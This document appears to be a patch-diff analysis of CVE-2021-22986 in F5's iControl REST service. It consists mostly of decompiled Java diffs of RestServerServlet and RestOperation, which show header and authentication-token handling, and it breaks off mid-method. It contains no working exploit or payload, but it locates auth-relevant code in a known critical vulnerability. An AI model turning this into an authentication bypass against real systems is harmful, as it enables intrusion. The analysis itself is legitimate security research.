Technical Analysis

CVE-2021-22986

This vulnerability appears to involve some kind of auth bypass or even SSRF, judging by my patch analysis and testing. The full-context patch below has its line numbers adjusted for use in a debugger.

```
diff --git a/com/f5/rest/app/RestServerServlet.java
b/com/f5/rest/app/RestServerServlet.java
index 9cd36e1..c0c67d6 100644
--- a/com/f5/rest/app/RestServerServlet.java
+++ b/com/f5/rest/app/RestServerServlet.java
@@ -1,538 +1,539 @@
 package com.f5.rest.app;

 import com.f5.rest.common.ByteUnit;
 import com.f5.rest.common.HttpParserHelper;
 import com.f5.rest.common.RestHelper;
 import com.f5.rest.common.RestLogger;
 import com.f5.rest.common.RestOperation;
 import com.f5.rest.common.RestOperationIdentifier;
 import com.f5.rest.common.RestRequestCompletion;
 import com.f5.rest.common.RestServer;
 import com.f5.rest.common.RestWorkerUriNotFoundException;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.net.URI;
 import java.net.URISyntaxException;
 import java.nio.charset.StandardCharsets;
 import java.util.Enumeration;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 import javax.servlet.AsyncContext;
 import javax.servlet.ReadListener;
 import javax.servlet.ServletException;
 import javax.servlet.ServletInputStream;
 import javax.servlet.ServletOutputStream;
 import javax.servlet.WriteListener;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 public class RestServerServlet
   extends HttpServlet
 {
   private static final long serialVersionUID = -6003011105634738728L;
   private static final int BUFFER_SIZE = (int)ByteUnit.KILOBYTES.toBytes(8L);
   private Logger logger =
RestLogger.getLogger(RestServerServlet.class.getName());



   private static void failRequest(AsyncContext context, RestOperation operation,
Throwable t, int httpStatusCode) {
     if (operation.generateRestErrorResponse()) {
       operation.setErrorResponseBody(t);
     }

     operation.setStatusCode(httpStatusCode);
     sendRestOperation(context, operation);
   }

   private static void sendRestOperation(AsyncContext context, RestOperation
operation) {
     try {
       writeResponseHeadersFromRestOperation(operation,
(HttpServletResponse)context.getResponse());
       context.getResponse().getOutputStream().setWriteListener(new
WriteListenerImpl(context, operation));
     } catch (IOException e) {
       context.complete();
     }
   }


   private class ReadListenerImpl
     implements ReadListener
   {
     private AsyncContext context;

     private ServletInputStream inputStream;
     private RestOperation operation;
     private byte[] buffer;
     private ByteArrayOutputStream outputStream;

     ReadListenerImpl(AsyncContext context, ServletInputStream inputStream,
RestOperation operation) {
       this.context = context;
       this.inputStream = inputStream;
       this.operation = operation;
       this.buffer = null;
       this.outputStream = null;
     }


     public void onDataAvailable() throws IOException {
       if (this.operation == null) {
         throw new IOException("Missing operation");
       }
       if (this.outputStream == null) {
         int contentLength = (int)this.operation.getContentLength();
         if (contentLength == -1) {
           this.outputStream = new ByteArrayOutputStream();
         } else {
           this.outputStream = new ByteArrayOutputStream(contentLength);
         }
       }






       if (this.buffer == null)
         this.buffer = new byte[RestServerServlet.BUFFER_SIZE];
       int len;
       while (this.inputStream.isReady() && (len =
this.inputStream.read(this.buffer)) != -1) {
         this.outputStream.write(this.buffer, 0, len);
       }
     }


     public void onAllDataRead() throws IOException {
       if (this.outputStream != null) {

         if (this.operation.getContentType() == null) {
           this.operation.setIncomingContentType("application/json");
         }

         if
(RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) {
           byte[] binaryBody = this.outputStream.toByteArray();
           this.operation.setBinaryBody(binaryBody,
this.operation.getContentType());
         } else {
           String body =
this.outputStream.toString(StandardCharsets.UTF_8.name());
           this.operation.setBody(body, this.operation.getContentType());
         }
       }

       RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation,
new Runnable()
           {
             public void run()
             {
               if
(!RestServer.trySendInProcess(RestServerServlet.ReadListenerImpl.this.operation))
{

RestServerServlet.failRequest(RestServerServlet.ReadListenerImpl.this.context,
RestServerServlet.ReadListenerImpl.this.operation, (Throwable)new
RestWorkerUriNotFoundException(RestServerServlet.ReadListenerImpl.this.operation.g
etUri().toString()), 404);
               }
             }
           });
```

```java
      RestServer.trace(this.operation);
    }


    public void onError(Throwable throwable) {
      if (this.operation != null)
        this.operation.fail(throwable);
    }
  }

  private static class WriteListenerImpl
    implements WriteListener
  {
    AsyncContext context;
    RestOperation operation;
    byte[] responseBody;
    ServletOutputStream outputStream;

    public WriteListenerImpl(AsyncContext context, RestOperation operation) {
      this.context = context;
      this.responseBody = HttpParserHelper.encodeBody(operation);
      if (this.responseBody != null) {
        context.getResponse().setContentLength(this.responseBody.length);
      }

      try {
        this.outputStream = context.getResponse().getOutputStream();
      } catch (IOException e) {
        onError(e);
      }
    }



    public void onWritePossible() throws IOException {
      while (this.outputStream.isReady()) {
        if (this.responseBody != null) {
          this.outputStream.write(this.responseBody);
          this.responseBody = null; continue;
        }
        this.context.complete();
        return;
      }
    }



    public void onError(Throwable throwable) {
      this.operation.fail(throwable);
    }
  }
```

```
   protected void service(HttpServletRequest req, HttpServletResponse resp) throws
ServletException, IOException {
     final AsyncContext context = req.startAsync();

     context.start(new Runnable()
         {
           public void run() {
             RestOperation op = null;
             try {
               op =
RestServerServlet.this.createRestOperationFromServletRequest((HttpServletRequest)c
ontext.getRequest());
               if (op == null) {
                 HttpServletResponse errResp =
(HttpServletResponse)context.getResponse();

                 errResp.sendError(400, "Error processing request");

                 context.complete();
                 return;
               }
             } catch (Exception e) {
               RestServerServlet.this.logger.warning("cannot create RestOperation
" + e.getMessage());
               context.complete();

               return;
             }
             op.setCompletion(new RestRequestCompletion()
                 {
                   public void completed(RestOperation operation) {
                     RestServerServlet.sendRestOperation(context, operation);
                   }


                   public void failed(Exception ex, RestOperation operation) {
                     RestServerServlet.failRequest(context, operation, ex,
operation.getStatusCode());
                   }
                 });

             try {
               ServletInputStream inputStream =
context.getRequest().getInputStream();
               inputStream.setReadListener(new
RestServerServlet.ReadListenerImpl(context, inputStream, op));
             } catch (IOException e) {
               RestServerServlet.failRequest(context, op, e, 500);
             }
           }
         });
   }



   public static String getFullURL(HttpServletRequest request) {
     StringBuilder requestURL = new StringBuilder(request.getRequestURI());
     String queryString = request.getQueryString();
     if (queryString == null) {
       return requestURL.toString();
     }
     return requestURL.append('?').append(queryString).toString();
   }


   private static void writeResponseHeadersFromRestOperation(RestOperation
operation, HttpServletResponse response) {
     boolean traceHeaders = (RestHelper.getOperationTracingLevel().intValue() <=
Level.FINER.intValue());

-    if (operation.getOutgoingContentType() == null) {
+    if (operation.getOutgoingContentType() == null || operation.getStatusCode()
>= 400)
+    {
       operation.defaultToContentTypeJson();
     }

     response.setContentType(operation.getOutgoingContentType());

     if (operation.getOutgoingContentEncoding() != null) {
       response.setCharacterEncoding(operation.getOutgoingContentEncoding());
     }

     if (operation.getAllow() != null) {
       AddResponseHeader(operation, response, "Allow", operation.getAllow(),
traceHeaders);
     }
     if (operation.getContentRange() != null) {
       AddResponseHeader(operation, response, "Content-Range",
operation.getContentRange(), traceHeaders);
     }

     if (operation.getContentDisposition() != null) {
       AddResponseHeader(operation, response, "Content-Disposition",
operation.getContentDisposition(), traceHeaders);
     }

     if (operation.getWwwAuthenticate() != null) {
       AddResponseHeader(operation, response, "WWW-Authenticate",
operation.getWwwAuthenticate(), traceHeaders);
     }

     if (operation.containsApiStatusInformation()) {
       AddResponseHeader(operation, response, "X-F5-Api-Status",
HttpParserHelper.formatApiStatusHeader(operation), traceHeaders);
     }

     if (operation.getAdditionalHeaders(RestOperation.Direction.RESPONSE) != null)
{
       Map<String, String> headers =
operation.getAdditionalHeaders(RestOperation.Direction.RESPONSE).getHeaderMap();

       for (Map.Entry<String, String> header : headers.entrySet()) {
         AddResponseHeader(operation, response, header.getKey(),
header.getValue(), traceHeaders);
       }
     }
     response.setStatus(operation.getStatusCode());
     AddResponseHeader(operation, response, "Pragma", "no-cache", traceHeaders);
     AddResponseHeader(operation, response, "Cache-Control", "no-store",
traceHeaders);
     AddResponseHeader(operation, response, "Cache-Control", "no-cache",
traceHeaders);
     AddResponseHeader(operation, response, "Cache-Control", "must-revalidate",
traceHeaders);
     AddResponseHeader(operation, response, "Expires", "-1", traceHeaders);
   }


   private static void AddResponseHeader(RestOperation operation,
HttpServletResponse response, String headerName, String headerValue, boolean
traceHeaders) {
     response.addHeader(headerName, headerValue);
   }







   private static Map<String, HeaderHandler> HEADER_HANDLERS = new HashMap<>();
   static {
     HEADER_HANDLERS.put("Accept".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setAccept(headerValue);
           }
         });
     HEADER_HANDLERS.put("Authorization".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op)
           {
             String[] authHeader = headerValue.split(" ");
             if (authHeader[0].equalsIgnoreCase("BASIC")) {
               op.setBasicAuthorizationHeader(authHeader[1]);
             }
           }
         });
     HEADER_HANDLERS.put("Allow".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setAllow(headerValue);
           }
         });
     HEADER_HANDLERS.put("Transfer-Encoding".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setTransferEncoding(headerValue);
           }
         });
     HEADER_HANDLERS.put("Referer".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setReferer(headerValue);
           }
         });
     HEADER_HANDLERS.put("X-F5-REST-Coordination-Id".toUpperCase(), new 
HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setCoordinationId(headerValue);
           }
         });
     HEADER_HANDLERS.put("X-Forwarded-For".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setXForwardedFor(headerValue);
           }
         });
     HEADER_HANDLERS.put("X-Auth-Token".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setXAuthToken(headerValue);
           }
         });
     HEADER_HANDLERS.put("X-F5-Auth-Token".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setXF5AuthToken(headerValue);
           }
         });
     HEADER_HANDLERS.put("Connection".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             if (headerValue.equalsIgnoreCase("Keep-Alive")) {
               op.setConnectionKeepAlive(true);
               op.setConnectionClose(false);
             } else if (headerValue.equalsIgnoreCase("Close")) {
               op.setConnectionKeepAlive(false);
               op.setConnectionClose(true);
             } else {
               op.setConnectionKeepAlive(false);
               op.setConnectionClose(false);
             }
           }
         });
     HEADER_HANDLERS.put("Content-Length".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setContentLength(Integer.parseInt(headerValue));
           }
         });
     HEADER_HANDLERS.put("Content-Type".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setIncomingContentType(headerValue);
           }
         });
     HEADER_HANDLERS.put("Content-Range".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setContentRange(headerValue);
           }
         });
     HEADER_HANDLERS.put("Content-Disposition".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setContentDisposition(headerValue);
           }
         });
     HEADER_HANDLERS.put("X-F5-Gossip".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setGossipHeader(headerValue);
           }
         });
     HEADER_HANDLERS.put("X-F5-Api-Status".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             HttpParserHelper.formatFromApiStatusHeader(op, headerValue);
           }
         });
     HEADER_HANDLERS.put("X-F5-Config-Api-Status".toUpperCase(), new
HeaderHandler()
         {
           public void processHeaderValue(String bitMaskStr, RestOperation op) {
             try {
               long bitMask = Long.parseLong(bitMaskStr);
               op.setXF5ConfigApiStatus(bitMask);
             }
             catch (NumberFormatException ignored) {}
           }
         });
     HEADER_HANDLERS.put("Cookie".toUpperCase(), new HeaderHandler()
         {


           public void processHeaderValue(String headerValue, RestOperation op)
           {
             if (headerValue.endsWith(";")) {
               headerValue = headerValue + " ";
             }
             if (!headerValue.endsWith("; ")) {
               headerValue = headerValue + "; ";
             }
             HttpParserHelper.parseCookieJarElements(op, headerValue);
           }
         });
     HEADER_HANDLERS.put("WWW-Authenticate".toUpperCase(), new HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setWwwAuthenticate(headerValue);
           }
         });
     HEADER_HANDLERS.put("X-F5-REST-Coordination-Id".toUpperCase(), new
HeaderHandler()
         {
           public void processHeaderValue(String headerValue, RestOperation op) {
             op.setCoordinationId(headerValue);
           }
         });
   }
   public static void setHostIpAddress(HttpServletRequest request, RestOperation
operation) {
     if (request == null || operation == null) {
       return;
     }

     if (operation.getAdditionalHeader("X-Forwarded-Host") == null ||
operation.getAdditionalHeader("X-Forwarded-Host").isEmpty()) {


       String requestUrl = request.getRequestURL().toString();
       String hostIpAddress = "localhost";
       if (requestUrl != null && requestUrl.contains("://")) {


         requestUrl = requestUrl.split("://")[1];
         hostIpAddress = requestUrl.split("/")[0];
       }
       operation.addAdditionalHeader("X-Forwarded-Host", hostIpAddress);
     }
   }

   private RestOperation createRestOperationFromServletRequest(HttpServletRequest
request) throws URISyntaxException {
     String port = getInitParameter("port");
     String fullUrl = getFullURL(request);

     URI targetUri = new URI(String.format("%s%s:%s%s", new Object[] { "http://",
"localhost", port, fullUrl }));






     RestOperation op =
RestOperation.create().setMethod(RestOperation.RestMethod.valueOf(request.getMetho
d().toUpperCase())).setUri(targetUri);




     Enumeration<String> headerNames = request.getHeaderNames();
     while (headerNames.hasMoreElements()) {
       String headerName = headerNames.nextElement();
       String headerValue = request.getHeader(headerName);
       if (RestOperation.isStandardHeader(headerName)) {
         if (headerValue == null) {
           this.logger.warning(headerName + " doesn't have value, so skipping");
           continue;
         }
         HeaderHandler headerHandler =
HEADER_HANDLERS.get(headerName.toUpperCase());
         if (headerHandler != null) {
           headerHandler.processHeaderValue(headerValue, op);
         }
         continue;
       }
       op.addAdditionalHeader(headerName, headerValue);
     }




     if (fullUrl.substring(1).startsWith("mgmt")) {
       setHostIpAddress(request, op);
     }

     return op;
   }

   private static interface HeaderHandler {
     void processHeaderValue(String param1String, RestOperation
param1RestOperation);
   }
 }
diff --git a/com/f5/rest/common/RestOperation.java
b/com/f5/rest/common/RestOperation.java
index ee882d4..fc91fdd 100644
--- a/com/f5/rest/common/RestOperation.java
+++ b/com/f5/rest/common/RestOperation.java
@@ -1,2875 +1,2876 @@
 package com.f5.rest.common;

 import com.f5.rest.workers.AuthTokenItemState;
 import com.f5.rest.workers.authz.AuthzHelper;
 import com.google.gson.Gson;
 import com.google.gson.GsonBuilder;
 import com.google.gson.JsonElement;
 import com.google.gson.JsonObject;
 import com.google.gson.JsonParser;
 import com.google.gson.JsonSyntaxException;
 import java.io.Reader;
 import java.lang.reflect.Type;
 import java.net.SocketAddress;
 import java.net.URI;
 import java.nio.charset.StandardCharsets;
 import java.security.cert.Certificate;
 import java.util.ArrayList;
 import java.util.Date;
 import java.util.EnumSet;
 import java.util.HashMap;
 import java.util.HashSet;
+import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.atomic.AtomicInteger;
 import java.util.concurrent.atomic.AtomicLong;
 import java.util.logging.Level;
 import javax.xml.bind.DatatypeConverter;
 import org.joda.time.DateTime;
```

```
public class RestOperation
  implements Cloneable
{
  public static class HttpException
    extends Exception
  {
    private static final long serialVersionUID = 1L;

    public HttpException(String message) {
      super(message);
    }
  }

  private static final RestLogger LOGGER = new RestLogger(RestOperation.class,
"");

  public static final int STATUS_OK = 200;

  public static final int STATUS_CREATED = 201;

  public static final int STATUS_ACCEPTED = 202;

  public static final int STATUS_NO_CONTENT = 204;

  public static final int STATUS_PARTIAL_CONTENT = 206;

  public static final int STATUS_FOUND = 302;

  public static final int STATUS_BAD_REQUEST = 400;
  public static final int STATUS_FAILURE_THRESHOLD = 400;
  public static final int STATUS_UNAUTHORIZED = 401;
  public static final int STATUS_FORBIDDEN = 403;
  public static final int STATUS_NOT_FOUND = 404;
  public static final int STATUS_METHOD_NOT_ALLOWED = 405;
  public static final int STATUS_NOT_ACCEPTABLE = 406;
  public static final int STATUS_CONFLICT = 409;
  public static final int STATUS_INTERNAL_SERVER_ERROR = 500;
  public static final int STATUS_NOT_IMPLEMENTED = 501;
  public static final int STATUS_BAD_GATEWAY = 502;
  public static final int STATUS_SERVICE_UNAVAILABLE = 503;
  public static final int STATUS_INSUFFICIENT_STORAGE = 507;
  public static final String REMOTE_SENDER_IN_PROCESS = "InProcess";
  public static final String REMOTE_SENDER_UNKNOWN = "Unknown";
  public static final String EMPTY_JSON_BODY = "{}";
  public static final long UNKNOWN_CONTENT_LENGTH = -1L;
  public static String WILDCARD = "*";
  public static String WILDCARD_PATH = "/" + WILDCARD;
  private Certificate[] serverCertificateChain;




  public static class ParsedCollectionEntry
  {
    public String collectionName;



    public String entryKey;
  }




  public enum RestMethod
  {
    GET, POST, PUT, DELETE, PATCH, OPTIONS;

    private static final String[] methodHandlerNames = new String[] { "onGet",
"onPost", "onPut", "onDelete", "onPatch", "onOptions" };
    static {

    }

    public String getMethodHandlerName() {
      return methodHandlerNames[ordinal()];
    }
  }




  public enum RestOperationFlags
  {
    IDENTIFIED,

    VERIFIED;
  }

  public static boolean contentTypeEquals(String mediaTypeA, String mediaTypeB) {
    return (mediaTypeA.hashCode() == mediaTypeB.hashCode());
  }





  public Certificate[] getServerCertificateChain() {
    return this.serverCertificateChain;
  }

  RestOperation setServerCertificateChain(Certificate[] certificates) {
    this.serverCertificateChain = certificates;
    return this;
  }


  protected static final AtomicInteger maxMessageBodySize = new
AtomicInteger(33554432);



  protected static final AtomicInteger defaultMessageBodySize = new
AtomicInteger(16384);


  private static Gson gson = allocateGson(false);
  private static Gson extendedGson = allocateGson(true); public static final
String HTTP_HEADER_FIELD_VALUE_SEPARATOR = ":"; public static final String
X_F5_REST_COORDINATION_ID_HEADER = "X-F5-REST-Coordination-Id"; public static
final String X_F5_REST_COORDINATION_ID_HEADER_WITH_COLON = "X-F5-REST-
Coordination-Id:"; public static final String X_FORWARDED_FOR_HEADER = "X-
Forwarded-For"; public static final String X_FORWARDED_FOR_HEADER_WITH_COLON = "X-
Forwarded-For:"; public static final String X_F5_AUTH_TOKEN_HEADER = "X-F5-Auth-
Token"; public static final String X_F5_AUTH_TOKEN_HEADER_WITH_COLON = "X-F5-Auth-
Token:"; public static final String X_AUTH_TOKEN_HEADER = "X-Auth-Token"; public
static final String X_AUTH_TOKEN_HEADER_WITH_COLON = "X-Auth-Token:"; public
static final String X_F5_GOSSIP_HEADER = "X-F5-Gossip"; public static final String
X_F5_GOSSIP_HEADER_WITH_COLON = "X-F5-Gossip:"; public static final String
BASIC_REALM_REST_API = "Basic realm='REST API'"; public static final String
WWW_AUTHENTICATE_HEADER = "WWW-Authenticate"; public static final String
WWW_AUTHENTICATE_HEADER_WITH_COLON = "WWW-Authenticate:";

  static Gson getGson() {
    return gson;
  }
  public static final String HOST_HEADER = "Host"; public static final String
CONNECTION_HEADER = "Connection"; public static final String CONTENT_TYPE_HEADER =
"Content-Type"; public static final String CONTENT_DISPOSITION_HEADER = "Content-
Disposition"; public static final String CONTENT_LENGTH_HEADER = "Content-Length";
public static final String CONTENT_RANGE_HEADER = "Content-Range"; public static
final String USER_AGENT_HEADER = "User-Agent"; public static final String
SET_COOKIE_HEADER = "Set-Cookie"; public static final String DATE_HEADER = "Date";
public static final String SERVER_HEADER = "Server"; public static final String
CACHE_CONTROL_HEADER = "Cache-Control"; public static final String PRAGMA_HEADER =
"Pragma"; public static final String EXPIRES_HEADER = "Expires"; public static
final String ACCEPT_HEADER = "Accept";
  static Gson getExtendedGson() {
    return extendedGson;
  }










  private static Gson allocateGson(boolean makeExtendedGson) {
    GsonBuilder bldr = (new
GsonBuilder()).disableHtmlEscaping().setDateFormat("yyyy-MM-
dd'T'HH:mm:ss.SSSZ").registerTypeAdapter(DateTime.class, new
DateTimeTypeAdapter());









     if (makeExtendedGson) {
       bldr.registerTypeHierarchyAdapter(RestWorkerState.class, new
RestWorkerStateSerializer());
     }

     return bldr.create();
   }
   public static final int ACCEPT_HEADER_LENGTH = "Accept".length();

   public static final String ACCESS_CONTROL_ALLOW_HEADERS_HEADER = "Access-
Control-Allow-Headers";
   public static final int ACCESS_CONTROL_ALLOW_HEADERS_HEADER_LENGTH = "Access-
Control-Allow-Headers".length();

   public static final String ACCESS_CONTROL_ALLOW_ORIGIN_HEADER = "Access-
Control-Allow-Origin";
   public static final int ACCESS_CONTROL_ALLOW_ORIGIN_HEADER_LENGTH = "Access-
Control-Allow-Origin".length();

   public static final String ACCESS_CONTROL_MAX_AGE_HEADER = "Access-Control-Max-
Age";

   public static final int ACCESS_CONTROL_MAX_AGE_HEADER_LENGTH = "Access-Control-
Max-Age".length();

   public static final String ACCESS_CONTROL_ALLOW_METHODS_HEADER = "Access-
Control-Allow-Methods";

   public static final int ACCESS_CONTROL_ALLOW_METHODS_HEADER_LENGTH = "Access-
Control-Allow-Methods".length();


   public static final String ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER = "Access-
Control-Allow-Credentials";

   public static final int ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER_LENGTH =
"Access-Control-Allow-Credentials".length();


   public static final String ACCESS_CONTROL_REQUEST_HEADERS_HEADER = "Access-
Control-Request-Headers";

   public static final int ACCESS_CONTROL_REQUEST_HEADERS_HEADER_LENGTH = "Access-
Control-Request-Headers".length();

   public static final String AUTHORIZATION_HEADER = "Authorization";

   public static final String TRANSFER_ENCODING_HEADER = "Transfer-Encoding";

   public static final String REFERER_HEADER = "Referer";

   public static final String BASIC_AUTHORIZATION_HEADER = "Authorization: Basic
";
   public static final String BASIC_AUTHORIZATION_HEADER_LOWERCASE =
"Authorization: Basic ".toLowerCase();

   public static final int BASIC_AUTHORIZATION_HEADER_LENGTH = "Authorization:
Basic ".length();

   public static final String COOKIE_HEADER = "Cookie";
   public static final int COOKIE_HEADER_LENGTH = "Cookie".length();

   public static final String COOKIE_HEADER_VALUE_SEPARATOR = ";";

   public static final String TMUI_DUBBUF_HEADER = "Tmui-Dubbuf";

   public static final String ALLOW_HEADER = "Allow";

   public static final String LOCATION_HEADER = "Location";

   public static final String X_F5_API_STATUS_HEADER = "X-F5-Api-Status";

   public static final String X_F5_API_STATUS_HEADER_WITH_COLON = "X-F5-Api-
Status:";

   public static final String X_F5_CONFIG_API_STATUS_HEADER = "X-F5-Config-Api-
Status";

   public static final String X_F5_CONFIG_API_STATUS_HEADER_WITH_COLON = "X-F5-
Config-Api-Status:";

   public static final String X_F5_NEW_AUTHTOK_REQD_HEADER = "X-F5-New-Authtok-
Reqd";

   public static final String X_FORWARDED_HOST_HEADER = "X-Forwarded-Host";

   public static final String X_REAL_IP_HEADER = "X-Real-IP";
   private static final String[] STANDARD_HEADERS = new String[] { "Cache-
Control", "Pragma", "Expires", "Content-Type", "Content-Range", "Content-
Disposition", "Content-Length", "Authorization", "X-F5-Auth-Token", "WWW-
Authenticate", "X-Auth-Token", "X-Forwarded-For", "Referer", "X-F5-REST-
Coordination-Id", "User-Agent", "Accept", "Connection", "Transfer-Encoding",
"Host", "Date", "Server", "Connection", "Allow", "X-F5-Gossip", "X-F5-Api-Status",
"X-F5-Config-Api-Status" };
```

```
   private static final HashSet<String> standardHeadersSet =
getStandardHeadersSet(); public static final String CONNECTION_HEADER_VALUE_CLOSE
= "close"; public static final String MIME_TYPE_APPLICATION_JSON =
"application/json"; public static final String MIME_TYPE_APPLICATION_XML =
"application/xml"; public static final String MIME_TYPE_APPLICATION_JAVASCRIPT =
"application/javascript"; public static final String
MIME_TYPE_APPLICATION_X_JAVASCRIPT = "application/x-javascript"; public static
final String MIME_TYPE_TEXT_JAVASCRIPT = "text/javascript"; public static final
String MIME_TYPE_TEXT_HTML = "text/html"; public static final String
MIME_TYPE_TEXT_CSS = "text/css"; public static final String MIME_TYPE_TEXT_CSV =
"text/csv"; public static final String MIME_TYPE_TEXT_XML = "text/xml"; public
static final String MIME_TYPE_IMAGE_BMP = "image/bmp"; public static final String
MIME_TYPE_IMAGE_GIF = "image/gif"; public static final String MIME_TYPE_IMAGE_JPEG
= "image/jpeg"; public static final String MIME_TYPE_IMAGE_PNG = "image/png";
public static final String MIME_TYPE_IMAGE_SVG = "image/svg+xml"; public static
final String MIME_TYPE_IMAGE_TIFF = "image/tiff";

   private static HashSet<String> getStandardHeadersSet() {
     HashSet<String> headerSet = new HashSet<>();
     for (String header : STANDARD_HEADERS) {
       headerSet.add(header.toLowerCase());
     }

     return headerSet;
   }






   public static boolean isStandardHeader(String header) {
     return standardHeadersSet.contains(header.toLowerCase());
   }
```

```java
   public static final String MIME_ENCODING_UTF8 = StandardCharsets.UTF_8.name();

   public static final String MIME_TYPE_APPLICATION_OCTET_STREAM =
"application/octet-stream";

   public static final String CHUNKED_TRANSFER_ENCODING = "chunked";

   public static final String PORT_SEPARATOR = ":";

   public static final String PATH_SEPARATOR = "/";
   public static final char PATH_SEPARATOR_CHAR = '/';
   public static final String EMPTY_STRING = "";
   public static final char QUERY_SEPARATOR = '?';
   public static final String QUERY_SEPARATOR_STRING = Character.toString('?');


   public static final char QUERY_PARAM_SEPARATOR = '&';

   public static final char QUERY_EQUALS = '=';

   public static final String QUERY_PARAM_SEPARATOR_STRING = "&";

   public static final String GENERATION_QUERY_PARAM_NAME = "generation";

   public static final String LAST_UPDATE_MICROS_QUERY_PARAM_NAME =
"lastUpdateMicros";

   static final int DEFAULT_RETRY_COUNT = 5;

   private RestRequestCompletion completion;


   public static RestOperation create() {
     RestOperation self = new RestOperation();
     self.restOperationFlags = EnumSet.noneOf(RestOperationFlags.class);
     return self;
   }










   public static RestOperation createIdentified() {
     RestOperation self = create();


     self.restOperationFlags.add(RestOperationFlags.IDENTIFIED);

     return self;
   }
```

```
public static RestOperation createIdentified(RestOperation original) {
  RestOperation copy = (RestOperation)original.clone();


  copy.restOperationFlags.clear();


  copy.restOperationFlags.add(RestOperationFlags.IDENTIFIED);

  return copy.setXF5AuthToken(null);
}
```

```
public static RestOperation createIdentified(String identifiedGroupName) {
  RestOperation self = createIdentified();
  self.identifiedGroupName = identifiedGroupName;
  return self;
}
```

```
public static RestOperation createSigned() {
  return create();
}
```

```
public static RestOperation createSignedAndVerified() {
  RestOperation self = create();
  self.restOperationFlags.add(RestOperationFlags.VERIFIED);
  return self;
}
```

```
   private static class AuthorizationData
   {
     public String basicAuthValue;



     public String xAuthToken;



     public AuthTokenItemState xF5AuthTokenState;


     public String wwwAuthenticate;



     private AuthorizationData() {}
   }



   private static class IdentityData
   {
     public String userName;


     public RestReference userReference;


     public RestReference[] groupReferences;



     private IdentityData() {}
   }


   private final HashMap<String, String> parameters = new HashMap<>();




   private HttpHeaderFields[] additionalHeaders;



   private static AtomicLong nextId = new AtomicLong(0L);

   private final long id;

   private URI uri;

   private Date expiration = new Date(RestHelper.getCurrentTimeInMillis() +
RestHelper.getOperationTimeoutMillis());


   private RestMethod method;
   private String incomingContentType;

   private String contentType;
   private String contentEncoding;
   private String accept;
   private String body;
   private byte[] binaryBody;
   private long contentLength = -1L;

   private String contentRange;

   private Object deserializedBody;

   private Type deserializedBodyType;

   private boolean isResponse;

   private boolean isForceSocketEnabled;
   private boolean isConnectionKeepAlive = true;
   private boolean isConnectionCloseRequested;
   private EnumSet<RestOperationFlags> restOperationFlags;
   private String xForwardedFor;
   private int retriesRemaining = 5;
   private final AtomicInteger completionCount = new AtomicInteger(0);
   private int httpHeaderByteCount;
   private int statusCode = 200;

   private AuthorizationData authorizationData;

   private IdentityData identityData;

   private String transferEncoding;

   private List<ParsedCollectionEntry> parsedUriCollectionEntries;
   private SocketAddress sourceAddress;

   private String referer;

   private String coordinationId;

   private boolean isRollbackRequest;

   private String contentDisposition;

   private String identifiedGroupName;

   private boolean isTrustedRequest;

   private String allow;

   private Boolean resourceDeprecated;

   private Boolean resourceEarlyAccess;

   private Boolean propertyDeprecated;

   private Boolean propertyEarlyAccess;

   private long xF5ConfigApiStatus;

   private String origin;
   private String senderNote;
   private String gossipHeader;
   private static final int DEFAULT_HEADER_BUFFER_SIZE = 256;
   private StringBuilder responseHeadersTrace;
   private volatile StringBuilder requestHeadersTrace;
   private boolean isRestErrorResponseRequired = true;
   private Boolean isPublicRequest;

   public void setIsPublicRequestToTrue() {
     this.isPublicRequest = Boolean.TRUE;
   }






   public boolean isPublicRequest() {
     return (this.isPublicRequest != null && this.isPublicRequest.booleanValue());
   }






   public void appendResponseHeaderTrace(String headerLine) {
     if (RestHelper.getOperationTracingLevel().intValue() >
Level.FINER.intValue()) {
       return;
     }

     if (this.responseHeadersTrace == null) {
       this.responseHeadersTrace = new StringBuilder(256);
     }
     this.responseHeadersTrace.append(headerLine);
   }







   public void appendRequestHeaderTrace(String headerName, String headerValue) {
     if (RestHelper.getOperationTracingLevel().intValue() >
Level.FINER.intValue()) {
       return;
     }

     if (this.requestHeadersTrace == null) {
       this.requestHeadersTrace = new StringBuilder(256);
     }
     appendHeaderTrace(this.requestHeadersTrace, headerName, headerValue);
   }


   private void appendHeaderTrace(StringBuilder headersTraceBuilder, String
headerName, String headerValue) {
     headersTraceBuilder.append(headerName);
     headersTraceBuilder.append(": ");
     headersTraceBuilder.append(headerValue);
     headersTraceBuilder.append("\n");
   }
```

```
   public String getResponseHeadersTrace() {
     return (RestHelper.getOperationTracingLevel().intValue() <=
